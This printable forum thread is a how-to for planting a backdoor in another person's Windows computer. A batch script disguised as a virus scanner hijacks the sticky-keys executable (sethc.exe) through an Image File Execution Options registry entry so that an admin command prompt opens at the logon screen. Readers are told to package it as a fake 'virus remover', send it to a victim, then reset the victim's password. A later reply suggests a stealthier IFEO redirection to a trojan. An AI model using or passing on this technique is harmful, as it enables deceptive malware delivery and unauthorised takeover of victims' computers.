Creating a backdoor in batch - Printable Version

Creating a backdoor in batch - Printable Version

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+--- Thread: Creating a backdoor in batch (/Thread-Creating-a-backdoor-in-batch)

Creating a backdoor in batch - Smartius - 04-25-2014

Hey guys, here's an easy way to create a backdoor in someone's computer. tools needed:
bat to exe converter.
notepad or any text editor
winrar

first type this code in notepad:

Code:
@echo off
title Scanning For Viruses
color 02
:scan
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
pause >nul
goto msg
:msg
echo.
echo Scan completed successfully.
pause >nul
echo.
echo Thank You for using backDoor Security.
pause >nul
exit

save it with a .bat extension then run it in bat to exe converter to change it to an exe file.(change its icon as well) then compress it with winrar and send it to someone as a virus remover.
Next time you access that persons computer, on the logon screen, hit shift 3 times and command prompt with admin privileges will open. then type:

Code:
Net user victimsAcoountName *

and change the password to access the pc.
hope it was useful!

Code:
@echo off
title Scanning For Viruses
color 02
:scan
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
pause >nul
goto msg
:msg
echo.
echo Scan completed successfully.
pause >nul
echo.
echo Thank You for using backDoor Security.
pause >nul
exit

Code:
Net user victimsAcoountName *

and change the password to access the pc.
hope it was useful!

RE: Creating a backdoor in batch - The Real Slim Shady - 04-25-2014

Do not "YELL" in your thread titles. This is unacceptable forum etiquette and will result in a warning in the future.

RE: Creating a backdoor in batch - hacxx - 03-18-2023

Malware .exe startup redirection

1 - To add REG ADD values to the registry you need uac elevation (Check Hacxx Magician Toolkit)
2 - sethc.exe isn't a common executable

3 - Use the trick below (is better stealth)...
- add reg key to any startup key (example: service1.exe)
- add reg key to IFEO (example: service1.exe) and point to (example: trojan1.exe)
- If admin analyse startup key with task manager or autoruns, it will say that the file doesn't exist
- and will execute anyway

- Will be adding to Hacxx Magician Toolkit